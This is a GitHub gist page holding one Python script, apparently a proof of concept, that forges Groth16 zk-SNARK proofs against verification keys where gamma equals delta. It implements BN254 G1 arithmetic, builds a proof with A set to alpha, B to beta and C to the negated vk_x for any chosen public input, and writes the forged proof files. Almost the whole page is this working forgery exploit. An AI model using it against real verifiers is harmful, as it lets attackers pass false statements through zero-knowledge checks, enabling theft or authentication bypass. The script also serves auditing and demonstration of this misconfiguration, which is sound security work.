Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save StefanosChaliasos/e244229a8fcc2cdd11c8a5609137ce1e to your computer and use it in GitHub Desktop.

Select an option

Save StefanosChaliasos/e244229a8fcc2cdd11c8a5609137ce1e to your computer and use it in GitHub Desktop.
Forge a Groth16 proof for a broken verification key where gamma == delta
```python
"""Forge a Groth16 proof for a broken verification key where gamma == delta."""
import json
import sys
# BN254 field prime
P = 21888242871839275222246405745257275088696311157297823662689037894645226208583
# Point at infinity represented as None
INFINITY = None
def mod_inv(a, p):
"""Modular inverse using Fermat's little theorem."""
return pow(a, p - 2, p)
def g1_add(p1, p2):
"""Add two G1 points on BN254 (y^2 = x^3 + 3)."""
if p1 is INFINITY:
return p2
if p2 is INFINITY:
return p1
x1, y1 = p1
x2, y2 = p2
if x1 == x2:
if y1 != y2:
return INFINITY
# Point doubling
lam = (3 * x1 * x1 * mod_inv(2 * y1, P)) % P
else:
lam = ((y2 - y1) * mod_inv(x2 - x1, P)) % P
x3 = (lam * lam - x1 - x2) % P
y3 = (lam * (x1 - x3) - y1) % P
return (x3, y3)
def g1_scalar_mul(scalar, point):
"""Scalar multiplication on G1 using double-and-add."""
if scalar == 0 or point is INFINITY:
return INFINITY
scalar = scalar % (P)
result = INFINITY
current = point
while scalar > 0:
if scalar & 1:
result = g1_add(result, current)
current = g1_add(current, current)
scalar >>= 1
return result
def g1_negate(point):
"""Negate a G1 point: (x, y) -> (x, p - y)."""
if point is INFINITY:
return INFINITY
x, y = point
return (x, (P - y) % P)
def parse_g1(coords):
"""Parse a G1 point from VK JSON format [x, y, "1"]."""
return (int(coords[0]), int(coords[1]))
def main():
target_c = int(sys.argv[1]) if len(sys.argv) > 1 else 999
with open("verification_key.json") as f:
vk = json.load(f)
alpha = parse_g1(vk["vk_alpha_1"])
ic0 = parse_g1(vk["IC"][0])
ic1 = parse_g1(vk["IC"][1])
# vk_x = IC[0] + target_c * IC[1]
vk_x = g1_add(ic0, g1_scalar_mul(target_c, ic1))
# C = -vk_x
c_point = g1_negate(vk_x)
# Forged proof: A = alpha, B = beta, C = -vk_x
proof = {
"pi_a": [
str(alpha[0]),
str(alpha[1]),
"1",
],
"pi_b": vk["vk_beta_2"],
"pi_c": [
str(c_point[0]),
str(c_point[1]),
"1",
],
"protocol": "groth16",
"curve": "bn128",
}
public = [str(target_c)]
with open("forged_proof.json", "w") as f:
json.dump(proof, f, indent=1)
with open("forged_public.json", "w") as f:
json.dump(public, f, indent=1)
print(f"Forged proof for c = {target_c}")
print(f" A = alpha from VK")
print(f" B = beta from VK")
print(f" C = -vk_x = ({c_point[0]}, {c_point[1]})")
print(f"Written: forged_proof.json, forged_public.json")
if __name__ == "__main__":
main()
```
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment